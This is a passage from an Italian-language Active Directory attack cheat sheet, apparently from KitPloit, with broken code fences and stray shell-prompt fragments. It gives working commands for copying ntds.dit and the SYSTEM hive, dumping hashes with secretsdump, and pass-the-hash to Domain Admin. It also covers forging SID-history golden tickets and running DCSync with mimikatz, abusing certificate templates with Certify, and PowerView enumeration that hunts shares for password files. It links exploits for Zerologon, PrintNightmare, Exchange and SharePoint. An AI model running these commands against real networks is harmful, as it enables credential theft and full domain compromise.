Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite

#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive
  1. Usando smbclient.py di impacket o qualche altro strumento copiamo ntds.dit e l'hive SYSTEM sulla nostra macchina locale.
  2. Usa secretsdump.py di impacket e scarica gli hash.
  3. Usa psexec o un altro strumento a tua scelta per eseguire PTH e ottenere accesso come Amministratore di Dominio.

Abuso di Exchange

  • Abusare di Exchange con una chiamata API da Amministratore di Dominio
  • CVE-2020-0688
  • PrivExchange Scambia i tuoi privilegi con privilegi di Amministratore di Dominio abusando di Exchange

Armare il bug della stampante

  • Dal bug del server di stampa ad Amministratore di Dominio
  • NetNTLMtoSilverTicket

Abuso degli ACL

  • Escalation dei privilegi con gli ACL in Active Directory
  • aclpwn.py
  • Invoke-ACLPwn

Abuso di IPv6 con mitm6

  • Compromettere reti IPv4 tramite IPv6
  • mitm6

Abuso della cronologia SID

COS'È QUESTO?: Se riusciamo a compromettere un dominio figlio di una foresta e il filtro SID non è abilitato (nella maggior parte dei casi non lo è), possiamo abusarne per escalare i privilegi ad Amministratore di Dominio del dominio radice della foresta. Ciò è possibile grazie al campo cronologia SID in un ticket TGT Kerberos, che definisce i gruppi di sicurezza e i privilegi "extra".

Esempio di sfruttamento:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain dir \dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

root@kitploit:~
Articoli dettagliati:

- [I Kerberos Golden Tickets sono ora più dorati](https://adsecurity.org/?p=1640)
- [Una guida per attaccare i trust di dominio](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)

### Sfruttare SharePoint

- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) Exploit RCE \
  [PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Esecuzione di codice tramite deserializzazione BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE utilizzando TypeConverter \
  [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

### Zerologon

- [Zerologon: Compromissione non autenticata del controller di dominio](https://www.secura.com/whitepapers/zerologon-whitepaper): White paper della vulnerabilità.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Implementazione in C# dello sfruttamento Zerologon.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Implementazione PowerShell dello sfruttamento Zerologon.
- [Zer0Dump](https://github.com/bb00/zer0dump): Implementazione Python dello sfruttamento Zerologon utilizzando la libreria impacket.

### PrintNightmare

- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Dettagli della vulnerabilità.
- [Implementazione Impacket di PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): PoC affidabile di PrintNightmare utilizzando la libreria impacket.
- [Implementazione C# di CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): PoC affidabile di PrintNightmare scritto in C#.

### Servizi certificati di Active Directory

**Controlla i modelli di certificato vulnerabili con:** [Certify](https://github.com/GhostPack/Certify)

_Nota: Certify può essere eseguito anche con il comando `execute-assembly` di Cobalt Strike._```powershell
.\Certify.exe find /vulnerable /quiet

Assicurati che il valore msPKI-Certificates-Name-Flag sia impostato su "ENROLLEE_SUPPLIES_SUBJECT" e che i diritti di iscrizione consentano agli utenti del dominio/autenticati. Inoltre, verifica che il parametro pkiextendedkeyusage contenga il valore "Client Authentication" e che il parametro "Authorized Signatures Required" sia impostato a 0.

Questo exploit funziona solo perché queste impostazioni abilitano l'autenticazione server/client, il che significa che un attaccante può specificare l'UPN di un Domain Admin ("DA") e utilizzare il certificato catturato con Rubeus per forgiare l'autenticazione.

Nota: Se un Domain Admin si trova in un gruppo Protected Users, l'exploit potrebbe non funzionare come previsto. Verifica prima di scegliere un DA da prendere di mira.

Richiedi il certificato dell'account del DA con Certify```powershell .\Certify.exe request /template:

Scarica lo strumento
  • Enum gruppi e membri del gruppo: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt

    #Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName

    #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName

    #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

    #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName

    root@kitploit:~
  • Enumera le condivisioni: ```powershell #Enumerate Domain Shares Find-DomainShare

    #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess

    #Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords

    root@kitploit:~
  • Enum Criteri di gruppo: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName

    #Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName

    #Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName

    root@kitploit:~
  • Enumera OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name

    root@kitploit:~
  • Enumera ACL: ```powershell

    Returns the ACLs associated with the specified account

    Get-DomainObjectAcl -Identity -ResolveGUIDs

    #Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs

    #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"

    root@kitploit:~
  • Enum Domain Trust: ```powershell Get-DomainTrust Get-DomainTrust -Domain

    #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ForestDomain Get-ForestDomain -Forest

    #Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest

    root@kitploit:~
  • Caccia all'utente: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose

    #Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose

    #Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName

    #Confirming admin access Test-AdminAccess

    root@kitploit:~